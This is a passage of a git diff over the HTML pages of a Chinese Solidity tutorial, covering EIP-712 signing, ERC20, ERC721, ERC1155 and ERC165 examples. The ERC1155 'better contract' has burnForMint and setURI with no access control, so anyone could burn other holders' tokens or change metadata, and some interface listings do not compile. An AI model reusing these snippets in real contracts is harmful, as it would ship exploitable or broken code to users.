      +        { name: 'to', type: 'Person' },
      +        { name: 'contents', type: 'string' }
           ]
       };
       
      -// The data to sign
      -const value = {
      -    from: {
      -        name: 'Cow',
      -        wallet: '0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826'
      +// The data to sign
      +const value = {
      +    from: {
      +        name: 'Cow',
      +        wallet: '0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826'
           },
      -    to: {
      -        name: 'Bob',
      -        wallet: '0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB'
      +    to: {
      +        name: 'Bob',
      +        wallet: '0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB'
           },
      -    contents: 'Hello, Bob!'
      +    contents: 'Hello, Bob!'
       };
       
      -signature = await signer._signTypedData(domain, types, value);
      -// '0x463b9c9971d1a144507d2e905f4e98becd159139421a4bb8d3c9c2ed04eb401057dd0698d504fd6ca48829a3c8a7a98c1c961eae617096cb54264bbdd082e13d1c'
      +signature = await signer._signTypedData(domain, types, value);
      +// '0x463b9c9971d1a144507d2e905f4e98becd159139421a4bb8d3c9c2ed04eb401057dd0698d504fd6ca48829a3c8a7a98c1c961eae617096cb54264bbdd082e13d1c'
       

      合约:使用openzeppelin的标准包,构造函数的时候,需要传递参数构造:ERC721(name,version),这两个值在后面的verify时会用到

      -
      // SPDX-License-Identifier: MIT
      -pragma solidity 0.8.11;
      -import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity 0.8.11;
      +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
       
       contract TestEIP712 {
      -    // 其他...
      -    function verify(
      +    // 其他...
      +    function verify(
               uint256 id,
               uint256 amt,
               address[] memory workers,
               bytes memory signature
      -    ) external view returns (bool) {
      +    ) external view returns (bool) {
               bytes memory encoded = abi.encode(
                   keccak256(
      -                'Message(uint256 id,uint256 amt,address[] workers)'
      +                'Message(uint256 id,uint256 amt,address[] workers)'
                   ),
                   id,
                   amt,
      @@ -3089,63 +3085,63 @@ 

      第28节:signature-EIP712

      ); bytes32 structHash = keccak256(encoded); - // 里面会拼接\x19\x01、domainHash、自定义结构hash + // 里面会拼接\x19\x01、domainHash、自定义结构hash bytes32 digest = _hashTypedDataV4(structHash); - return ECDSA.recover(digest, signature) == owner(); + return ECDSA.recover(digest, signature) == owner(); } }

      testcase.ts

      -
      import { verifyTypedData } from 'ethers/lib/utils'
      -
      -const typedData = {
      -      // 这里的domain 不需要再写了,因为ethers会自动帮忙添加
      -      types: {
      -        // EIP712Domain: [
      -        //   { name: "name", type: "string" },
      -        //   { name: "version", type: "string" },
      -        //   { name: "chainId", type: "uint256" },
      -        //   { name: "verifyingContract", type: "address" }
      -        // ],
      -        Message: [
      -          { name: 'id', type: 'uint256' },
      -          { name: 'amt', type: 'uint256' },
      -          { name: 'workers', type: 'address[]' },
      +
      import { verifyTypedData } from 'ethers/lib/utils'
      +
      +const typedData = {
      +      // 这里的domain 不需要再写了,因为ethers会自动帮忙添加
      +      types: {
      +        // EIP712Domain: [
      +        //   { name: "name", type: "string" },
      +        //   { name: "version", type: "string" },
      +        //   { name: "chainId", type: "uint256" },
      +        //   { name: "verifyingContract", type: "address" }
      +        // ],
      +        Message: [
      +          { name: 'id', type: 'uint256' },
      +          { name: 'amt', type: 'uint256' },
      +          { name: 'workers', type: 'address[]' },
               ],
             },
      -      // 这个就是上面的Message
      -      primaryType: 'Message',
      -      // 这是EIP712Domain的值
      -      domain: {
      -        name: name,
      -        version: version,
      -        chainId: chainId,
      -        verifyingContract: contractAddress,
      +      // 这个就是上面的Message
      +      primaryType: 'Message',
      +      // 这是EIP712Domain的值
      +      domain: {
      +        name: name,
      +        version: version,
      +        chainId: chainId,
      +        verifyingContract: contractAddress,
             },
      -      // 这是message的值
      -      message: {
      -        "id": id,
      -        "amt": amt,
      -        "workers": workers
      +      // 这是message的值
      +      message: {
      +        "id": id,
      +        "amt": amt,
      +        "workers": workers
             },
           };
       
      -    // 结构化签名
      -    const signature = await signer._signTypedData(
      +    // 结构化签名
      +    const signature = await signer._signTypedData(
             typedData.domain,
             typedData.types,
             typedData.message,
           );
       
      -    // 使用ethersjs验证:
      -    let res = verifyTypedData(
      +    // 使用ethersjs验证:
      +    let res = verifyTypedData(
             typedData.domain, typedData.types, typedData.message, signature,
           ).toLowerCase() === signerAddress.toLowerCase()
       
      -    console.log("etherjs验证签名有效性:", res);
      +    console.log("etherjs验证签名有效性:", res);
       
      -    // 使用合约验证:
      -    await instance.verify(
      +    // 使用合约验证:
      +    await instance.verify(
           id, amt, workers, signature
       )
       
      @@ -3188,7 +3184,7 @@

      第28节:signature-EIP712

      @@ -3274,14 +3270,6 @@

      第28节:signature-EIP712

      - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/index.html" "b/cn/02_solidity\350\277\233\351\230\266/index.html" index 3f9ea025..ee17cabc 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/index.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3050,7 +3046,7 @@

      第二章:solidity进阶

      @@ -3136,14 +3132,6 @@

      第二章:solidity进阶

      - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/01_ERC20.html" "b/cn/03_EIP\345\215\217\350\256\256/01_ERC20.html" index 4209a554..b02c5df3 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/01_ERC20.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/01_ERC20.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,142 +3019,142 @@

      第1节:ERC20(标准Token)

    7. 任何遵从EIP-20协议(ERC20标准)的Contract都属于ERC20 Token

    标准接口

    -
    // 6 REQUIRED FUNCTIONS
    -function totalSupply() public view returns (uint256)
    -function balanceOf(address _owner) public view returns (uint256 balance)
    -function transfer(address _to, uint256 _value) public returns (bool success)
    -function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
    -function approve(address _spender, uint256 _value) public returns (bool success)
    -function allowance(address _owner, address _spender) public view returns (uint256 remaining)
    -
    -// 2 REQUIRED EVENTS
    -event Transfer(address indexed _from, address indexed _to, uint256 _value)
    -event Approval(address indexed _owner, address indexed _spender, uint256 _value)
    -
    -// 3. OPTIONAL FUNCTIONS
    -function name() public view returns (string)
    -function symbol() public view returns (string)
    -function decimals() public view returns (uint8)
    -
    +
    // 6 REQUIRED FUNCTIONS
    +function totalSupply() public view returns (uint256)
    +function balanceOf(address _owner) public view returns (uint256 balance)
    +function transfer(address _to, uint256 _value) public returns (bool success)
    +function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
    +function approve(address _spender, uint256 _value) public returns (bool success)
    +function allowance(address _owner, address _spender) public view returns (uint256 remaining)
    +
    +// 2 REQUIRED EVENTS
    +event Transfer(address indexed _from, address indexed _to, uint256 _value)
    +event Approval(address indexed _owner, address indexed _spender, uint256 _value)
    +
    +// 3. OPTIONAL FUNCTIONS
    +function name() public view returns (string)
    +function symbol() public view returns (string)
    +function decimals() public view returns (uint8)
    +

    分析

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol
    +// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol
     interface IERC20 {
    -      // 6 REQUIRED FUNCTIONS
    -      // 总发行量
    -    function totalSupply() external view returns (uint);  // -> 总发行量 100000000 * 10**decimals
    -
    -      // 标准decimal: 18
    -      // USDT: 6
    -      // WBTC: 8
    -    function balanceOf(address account) external view returns (uint); // 指定账户的余额
    -
    -    // 币的持有人直接调用,进行转账
    -    function transfer(address recipient, uint amount) external returns (bool);
    -
    -      // 最常用的!!
    -      // 1. 我这个owner对合约进行approve,此时approve内部会修改allowance变量
    -      // 2. 合约内部调用transferFrom来支配owner的token
    -    function transferFrom( // spender就是这个合约
    -        address sender,    // owner
    -        address recipient,    // 转给谁
    -        uint amount // 金额
    -    ) external returns (bool);
    -
    -
    -    // owner: 币的持有人
    -      // spender: 是指定帮助花费的代理人(被授权的人)
    -    function allowance(address owner, address spender) external view returns (uint); // 授权的额度
    -
    -    // decimals view,这是一个public 的变量,自动提供了一个读取的方法 // 返回精度
    -      // 持有人对spender进行授权,在approve内部,会调用msg.sender来知道owner是谁
    -    function approve(address spender, uint amount) external returns (bool);
    -
    -      // 2 REQUIRED EVENTS
    -      // 事件
    -    event Transfer(address indexed from, address indexed to, uint value);
    +      // 6 REQUIRED FUNCTIONS
    +      // 总发行量
    +    function totalSupply() external view returns (uint);  // -> 总发行量 100000000 * 10**decimals
    +
    +      // 标准decimal: 18
    +      // USDT: 6
    +      // WBTC: 8
    +    function balanceOf(address account) external view returns (uint); // 指定账户的余额
    +
    +    // 币的持有人直接调用,进行转账
    +    function transfer(address recipient, uint amount) external returns (bool);
    +
    +      // 最常用的!!
    +      // 1. 我这个owner对合约进行approve,此时approve内部会修改allowance变量
    +      // 2. 合约内部调用transferFrom来支配owner的token
    +    function transferFrom( // spender就是这个合约
    +        address sender,    // owner
    +        address recipient,    // 转给谁
    +        uint amount // 金额
    +    ) external returns (bool);
    +
    +
    +    // owner: 币的持有人
    +      // spender: 是指定帮助花费的代理人(被授权的人)
    +    function allowance(address owner, address spender) external view returns (uint); // 授权的额度
    +
    +    // decimals view,这是一个public 的变量,自动提供了一个读取的方法 // 返回精度
    +      // 持有人对spender进行授权,在approve内部,会调用msg.sender来知道owner是谁
    +    function approve(address spender, uint amount) external returns (bool);
    +
    +      // 2 REQUIRED EVENTS
    +      // 事件
    +    event Transfer(address indexed from, address indexed to, uint value);
         event Approval(address indexed owner, address indexed spender, uint value);
     
    -    // 3. OPTIONAL FUNCTIONS
    -    function name() public view returns (string)
    -    function symbol() public view returns (string)
    -    function decimals() public view returns (uint8)
    +    // 3. OPTIONAL FUNCTIONS
    +    function name() public view returns (string)
    +    function symbol() public view returns (string)
    +    function decimals() public view returns (uint8)
     }
    -
    +

    以下是ERC20的案例:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -import "./IERC20.sol";
    +import "./IERC20.sol";
     
     contract ERC20 is IERC20 {
         uint public totalSupply;
    -    mapping(address => uint) public balanceOf;
    -    mapping(address => mapping(address => uint)) public allowance;
    -    string public name = "Solidity by Example";
    -    string public symbol = "SOLBYEX";
    -    uint8 public decimals = 18;
    +    mapping(address => uint) public balanceOf;
    +    mapping(address => mapping(address => uint)) public allowance;
    +    string public name = "Solidity by Example";
    +    string public symbol = "SOLBYEX";
    +    uint8 public decimals = 18;
     
    -    function transfer(address recipient, uint amount) external returns (bool) {
    +    function transfer(address recipient, uint amount) external returns (bool) {
             balanceOf[msg.sender] -= amount;
             balanceOf[recipient] += amount;
             emit Transfer(msg.sender, recipient, amount);
    -        return true;
    +        return true;
         }
     
    -    function approve(address spender, uint amount) external returns (bool) {
    +    function approve(address spender, uint amount) external returns (bool) {
             allowance[msg.sender][spender] = amount;
             emit Approval(msg.sender, spender, amount);
    -        return true;
    +        return true;
         }
     
    -    function transferFrom(
    +    function transferFrom(
             address sender,
             address recipient,
             uint amount
    -    ) external returns (bool) {
    +    ) external returns (bool) {
             allowance[sender][msg.sender] -= amount;
             balanceOf[sender] -= amount;
             balanceOf[recipient] += amount;
             emit Transfer(sender, recipient, amount);
    -        return true;
    +        return true;
         }
     
    -    function mint(uint amount) external {
    +    function mint(uint amount) external {
             balanceOf[msg.sender] += amount;
             totalSupply += amount;
    -        emit Transfer(address(0), msg.sender, amount);
    +        emit Transfer(address(0), msg.sender, amount);
         }
     
    -    function burn(uint amount) external {
    +    function burn(uint amount) external {
             balanceOf[msg.sender] -= amount;
             totalSupply -= amount;
    -        emit Transfer(msg.sender, address(0), amount);
    +        emit Transfer(msg.sender, address(0), amount);
         }
     }
     

    可以使用openzeppelin库进行创建自己的token:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/ERC20.sol";
    -import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
    +// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/ERC20.sol";
    +import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
     
     
     contract MyToken is ERC20 {
    -    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
    -        // Mint 100 tokens to msg.sender
    -        // Similar to how
    -        // 1 dollar = 100 cents
    -        // 1 token = 1 * (10 ** decimals)
    -        _mint(msg.sender, 100 * 10**uint(decimals()));
    +    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
    +        // Mint 100 tokens to msg.sender
    +        // Similar to how
    +        // 1 dollar = 100 cents
    +        // 1 token = 1 * (10 ** decimals)
    +        _mint(msg.sender, 100 * 10**uint(decimals()));
         }
     
    -    // 默认是18,可以进行override
    -    function decimals() public view override returns (uint8) {
    -        return 6;
    +    // 默认是18,可以进行override
    +    function decimals() public view override returns (uint8) {
    +        return 6;
         }
     }
     
    @@ -3189,7 +3185,7 @@

    分析

    @@ -3275,14 +3271,6 @@

    分析

    - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/02_ERC721.html" "b/cn/03_EIP\345\215\217\350\256\256/02_ERC721.html" index 088ca0c5..8ea735b9 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/02_ERC721.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/02_ERC721.html" @@ -36,10 +36,6 @@ - - - - @@ -3025,162 +3021,162 @@

    第2节:ERC721(非同质化
  • EIP-721: https://eips.ethereum.org/EIPS/eip-721
  • 标准接口

    -
    // SPDX-License-Identifier: MIT
    -// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)
    +
    // SPDX-License-Identifier: MIT
    +// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)
     
    -pragma solidity ^0.8.0;
    +pragma solidity ^0.8.0;
     
     interface IERC165 {
    -    function supportsInterface(bytes4 interfaceID) external view returns (bool);
    +    function supportsInterface(bytes4 interfaceID) external view returns (bool);
     }
     
     interface IERC721 is IERC165 {
    -      // 3 EVENTS
    -    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
    +      // 3 EVENTS
    +    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
         event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
         event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
     
    -      // 9 REQUIRED FUNCTIONS
    -    function balanceOf(address owner) external view returns (uint256 balance);
    -    function ownerOf(uint256 tokenId) external view returns (address owner);
    -    function safeTransferFrom(
    -        address from,
    +      // 9 REQUIRED FUNCTIONS
    +    function balanceOf(address owner) external view returns (uint256 balance);
    +    function ownerOf(uint256 tokenId) external view returns (address owner);
    +    function safeTransferFrom(
    +        address from,
             address to,
             uint256 tokenId,
             bytes calldata data
    -    ) external;
    +    ) external;
     
    -    function safeTransferFrom(
    -        address from,
    +    function safeTransferFrom(
    +        address from,
             address to,
             uint256 tokenId
    -    ) external;
    +    ) external;
     
    -      function transferFrom(
    -        address from,
    +      function transferFrom(
    +        address from,
             address to,
             uint256 tokenId
    -    ) external;
    +    ) external;
     
    -    function approve(address to, uint256 tokenId) external;
    -    function setApprovalForAll(address operator, bool _approved) external;
    -    function getApproved(uint256 tokenId) external view returns (address operator);
    -    function isApprovedForAll(address owner, address operator) external view returns (bool);
    +    function approve(address to, uint256 tokenId) external;
    +    function setApprovalForAll(address operator, bool _approved) external;
    +    function getApproved(uint256 tokenId) external view returns (address operator);
    +    function isApprovedForAll(address owner, address operator) external view returns (bool);
     
     
    -      // 3 OPTIONAL FUNCTIONS
    -    function name() external view returns (string _name);
    -    function symbol() external view returns (string _symbol);
    -    function tokenURI(uint256 _tokenId) external view returns (string);
    +      // 3 OPTIONAL FUNCTIONS
    +    function name() external view returns (string _name);
    +    function symbol() external view returns (string _symbol);
    +    function tokenURI(uint256 _tokenId) external view returns (string);
     }
     

    部署

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.13;
     
    -import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
    -/*
    +import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
    +/*
     1. 一个ERC721合约也是一个集合,可以有N多个token,但是每一个都是不一样的,有唯一的id
     2. 每个tokenid可以关联一个URI,一般是.json文件,里面有三个字段,进而变成一个独一无二的展示,所以是NFT,三个字段为:
         - description:nft描述
         - url:nft图片存储在ipfs上的哈希值
         - name:nft名字
    -*/
    +*/
     
     contract SimpleCollectible is ERC721URIStorage {
         uint256 public tokenCounter;
    -    constructor () public ERC721 ("Dogie", "DOG"){
    -        tokenCounter = 0;
    +    constructor () public ERC721 ("Dogie", "DOG"){
    +        tokenCounter = 0;
         }
     
    -    function createCollectible(string memory tokenURI) public returns (uint256) {
    +    function createCollectible(string memory tokenURI) public returns (uint256) {
             uint256 newItemId = tokenCounter;
             _safeMint(msg.sender, newItemId);
             _setTokenURI(newItemId, tokenURI);
    -        tokenCounter = tokenCounter + 1;
    -        return newItemId;
    +        tokenCounter = tokenCounter + 1;
    +        return newItemId;
         }
     
    -    function _baseURI() internal view override returns (string memory) {
    -        return "https://gateway.pinata.cloud/ipfs/";
    +    function _baseURI() internal view override returns (string memory) {
    +        return "https://gateway.pinata.cloud/ipfs/";
         }
     
    -    //1. createCollectible(QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta)
    -    //2. tokenURI(0)
    -    //3. 浏览器请求:https://gateway.pinata.cloud/ipfs/QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta
    +    //1. createCollectible(QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta)
    +    //2. tokenURI(0)
    +    //3. 浏览器请求:https://gateway.pinata.cloud/ipfs/QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta
     }
     

    接受者为合约时

    to如果是合约地址,则to合约必须实现onERC721Received接口,因为有回调校验,如果to是EOA则不需要实现该接口。

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.0;
     
     interface IERC721Receiver {
    -    function onERC721Received(
    +    function onERC721Received(
             address operator,
    -        address from,
    +        address from,
             uint256 tokenId,
             bytes calldata data
    -    ) external returns (bytes4);
    +    ) external returns (bytes4);
     }
     
     contract ERC721Holder is IERC721Receiver {
    -    function onERC721Received(
    +    function onERC721Received(
             address,
             address,
             uint256,
             bytes memory
    -    ) public virtual override returns (bytes4) {
    -        return this.onERC721Received.selector;
    +    ) public virtual override returns (bytes4) {
    +        return this.onERC721Received.selector;
         }
     }
     

    完整代码

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.13;
     
    -// 里面继承了IERC721Receiver.sol接口
    -import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
    -/*
    +// 里面继承了IERC721Receiver.sol接口
    +import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
    +/*
     1. 一个ERC721合约也是一个集合,可以有N多个token,但是每一个都是不一样的,有唯一的id
     2. 每个tokenid可以关联一个图片(URI),进而变成一个独一无二的展示,所以是NFT
    -*/
    +*/
     
     contract SimpleCollectible is ERC721URIStorage {
         uint256 public tokenCounter;
    -    constructor () public ERC721 ("Dogie", "DOG"){
    +    constructor () public ERC721 ("Dogie", "DOG"){
         }
     
    -    function createCollectible(string memory tokenURI) public returns (uint256) {
    +    function createCollectible(string memory tokenURI) public returns (uint256) {
             uint256 newItemId = tokenCounter;
             _safeMint(msg.sender, newItemId);
             _setTokenURI(newItemId, tokenURI);
    -        tokenCounter = tokenCounter + 1;
    -        return newItemId;
    +        tokenCounter = tokenCounter + 1;
    +        return newItemId;
         }
     
    -  // 注释掉
    -    // function _baseURI() internal view override returns (string memory) {
    -    //     return "https://gateway.pinata.cloud/ipfs/";
    -    // }
    +  // 注释掉
    +    // function _baseURI() internal view override returns (string memory) {
    +    //     return "https://gateway.pinata.cloud/ipfs/";
    +    // }
     }
     
     contract ERC721Holder is IERC721Receiver {
    -    function onERC721Received(
    +    function onERC721Received(
             address,
             address,
             uint256,
             bytes memory
    -    ) public virtual override returns (bytes4) {
    -        return this.onERC721Received.selector;
    +    ) public virtual override returns (bytes4) {
    +        return this.onERC721Received.selector;
         }
     }
     

    测试

    -
          // QmSiaLLeuBKPvqAQz2VQWJHUJMz6xjMgagePha4kPd38TB是json文件的hash
    -    //1. createCollectible(QmSiaLLeuBKPvqAQz2VQWJHUJMz6xjMgagePha4kPd38TB)
    -    //2. tokenURI(0)
    -    //3. 浏览器请求:https://gateway.pinata.cloud/ipfs/QmSiaLLeuBKPvqAQz2VQWJHUJMz6xjMgagePha4kPd38TB
    +
          // QmSiaLLeuBKPvqAQz2VQWJHUJMz6xjMgagePha4kPd38TB是json文件的hash
    +    //1. createCollectible(QmSiaLLeuBKPvqAQz2VQWJHUJMz6xjMgagePha4kPd38TB)
    +    //2. tokenURI(0)
    +    //3. 浏览器请求:https://gateway.pinata.cloud/ipfs/QmSiaLLeuBKPvqAQz2VQWJHUJMz6xjMgagePha4kPd38TB
     

    其中的hash值为这个nft图片的描述文件的哈希:metadata.json,

      @@ -3188,9 +3184,9 @@

      测试

    1. 图片的哈希为:QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta
    {
    -  "description": "this is a nft1155 metadata json desc",
    -  "image": "https://gateway.pinata.cloud/ipfs/QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta",
    -  "name": "duke nft"
    +  "description": "this is a nft1155 metadata json desc",
    +  "image": "https://gateway.pinata.cloud/ipfs/QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta",
    +  "name": "duke nft"
     }
     

    总结

    @@ -3202,20 +3198,20 @@

    授权比较

    • ERC721
    -
    // 对单个id进行approve    
    -function approve(address to, uint256 tokenId) public virtual override;
    +
    // 对单个id进行approve    
    +function approve(address to, uint256 tokenId) public virtual override;
     
    -// 对某个地址授权所有的token
    -function setApprovalForAll(address operator, bool approved) public virtual override;
    +// 对某个地址授权所有的token
    +function setApprovalForAll(address operator, bool approved) public virtual override;
     
    • ERC1155
    -
    // 每个对单个id的授权!!
    -// what -》不支持!
    +
    // 每个对单个id的授权!!
    +// what -》不支持!
     
    -// 对某个地址授权所有的token
    -function setApprovalForAll(address operator, bool approved) external;
    +// 对某个地址授权所有的token
    +function setApprovalForAll(address operator, bool approved) external;
     

    ERC721A

    ERC721A是一套实现了IERC721接口的合约,它的优势是在批量mint时,可以节约gas,知名NFT项目Azuki就是由这个合约开发的

    @@ -3247,7 +3243,7 @@

    ERC721A

    @@ -3333,14 +3329,6 @@

    ERC721A

    - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/03_ERC1155.html" "b/cn/03_EIP\345\215\217\350\256\256/03_ERC1155.html" index 233e55b1..313b3e87 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/03_ERC1155.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/03_ERC1155.html" @@ -36,10 +36,6 @@ - - - - @@ -3027,10 +3023,10 @@

    第3节:ERC1155(半同质
  • setURI的时候,填写的是metadata.json,不是图片的url,使用pinata服务存储图片和metadata.json:

    {
    -    "description": "this is a nft1155 metadata json desc",
    -    //"image": "ipfs://QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta",
    -    "image": "https://gateway.pinata.cloud/ipfs/QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta",
    -    "name": "duke nft"
    +    "description": "this is a nft1155 metadata json desc",
    +    //"image": "ipfs://QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta",
    +    "image": "https://gateway.pinata.cloud/ipfs/QmTfK2CeRBkRqSZHmnekdZYSBrsKLQ6U5Px8MWtGf1Eqta",
    +    "name": "duke nft"
     }
     
  • @@ -3042,65 +3038,65 @@

    第3节:ERC1155(半同质

    更好的合约:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.0;
     
    -import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155URIStorage.sol";
    +import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155URIStorage.sol";
     
     contract MockErc1155Token is ERC1155URIStorage {
         string public name;
         string public symbol;
         uint256 public tokenCounter;
     
    -    constructor(string memory _name, string memory _symbol) ERC1155("") {
    +    constructor(string memory _name, string memory _symbol) ERC1155("") {
             name = _name;
             symbol = _symbol;
         }
     
    -    function createCollectible(string memory tokenURI, uint256 _amount)
    -        external
    -        returns (uint256)
    -    {
    +    function createCollectible(string memory tokenURI, uint256 _amount)
    +        external
    +        returns (uint256)
    +    {
             uint256 newItemId = tokenCounter;
    -        _mint(_msgSender(), newItemId, _amount, "");
    +        _mint(_msgSender(), newItemId, _amount, "");
             _setURI(newItemId, tokenURI);
     
    -        tokenCounter = tokenCounter + 1;
    -        return newItemId;
    +        tokenCounter = tokenCounter + 1;
    +        return newItemId;
         }
     
    -    // function mint(uint256 _id, uint256 _amount) external {
    -    //     _mint(_msgSender(), _id, _amount, "");
    -    // }
    +    // function mint(uint256 _id, uint256 _amount) external {
    +    //     _mint(_msgSender(), _id, _amount, "");
    +    // }
     
    -    // function mintBatch(uint256[] memory _ids, uint256[] memory _amounts)
    -    //     external
    -    // {
    -    //     _mintBatch(_msgSender(), _ids, _amounts, "");
    -    // }
    +    // function mintBatch(uint256[] memory _ids, uint256[] memory _amounts)
    +    //     external
    +    // {
    +    //     _mintBatch(_msgSender(), _ids, _amounts, "");
    +    // }
     
    -    function burn(uint256 _id, uint256 _amount) external {
    +    function burn(uint256 _id, uint256 _amount) external {
             _burn(msg.sender, _id, _amount);
         }
     
    -    function burnBatch(uint256[] memory _ids, uint256[] memory _amounts)
    -        external
    -    {
    +    function burnBatch(uint256[] memory _ids, uint256[] memory _amounts)
    +        external
    +    {
             _burnBatch(msg.sender, _ids, _amounts);
         }
     
    -    function burnForMint(
    +    function burnForMint(
             address _from,
             uint256[] memory _burnIds,
             uint256[] memory _burnAmounts,
             uint256[] memory _mintIds,
             uint256[] memory _mintAmounts
    -    ) external {
    +    ) external {
             _burnBatch(_from, _burnIds, _burnAmounts);
    -        _mintBatch(_from, _mintIds, _mintAmounts, "");
    +        _mintBatch(_from, _mintIds, _mintAmounts, "");
         }
     
    -    function setURI(uint256 _id, string memory _uri) external {
    +    function setURI(uint256 _id, string memory _uri) external {
             _setURI(_id, _uri);
         }
     }
    @@ -3132,7 +3128,7 @@ 

    更好的合约:

    @@ -3218,14 +3214,6 @@

    更好的合约:

    - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/04_ERC165.html" "b/cn/03_EIP\345\215\217\350\256\256/04_ERC165.html" index 5a98f5da..8eb4f988 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/04_ERC165.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/04_ERC165.html" @@ -36,10 +36,6 @@ - - - - @@ -3024,36 +3020,36 @@

    概述

    EIP-165接口定义

    EIP165提供了一种检测智能合约类型的方法,在实现上它只定义了一个接口,同时也明确了计算interfaceId的规则:对该协议(如NFT721)的所有接口selector的hash值做^运算(异或,XOR,^),再取前四字节作为interfaceId。

    interface IERC165 {
    -    /**
    -     * @dev Returns true if this contract implements the interface defined by
    +    /**
    +     * @dev Returns true if this contract implements the interface defined by
          * `interfaceId`. See the corresponding
          * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
          * to learn more about how these ids are created.
          *
          * This function call must use less than 30 000 gas.
    -     */
    -    function supportsInterface(bytes4 interfaceId) external view returns (bool);
    +     */
    +    function supportsInterface(bytes4 interfaceId) external view returns (bool);
     }
     

    EIP165协议的interfaceId为0x01ffc9a7,计算公式:

    0x01ffc9a7=bytes4(keccak256(supportsInterface.selector))
     

    NFT721的interfaceid

    -
    // Note: the ERC-165 identifier for this interface is 0x80ac58cd.
    -interface ERC721 /* is ERC165 */ {
    +
    // Note: the ERC-165 identifier for this interface is 0x80ac58cd.
    +interface ERC721 /* is ERC165 */ {
         event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
         event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
         event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
     
    -    function balanceOf(address _owner) external view returns (uint256);
    -    function ownerOf(uint256 _tokenId) external view returns (address);
    -    function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;
    -    function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
    -    function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
    -    function approve(address _approved, uint256 _tokenId) external payable;
    -    function setApprovalForAll(address _operator, bool _approved) external;
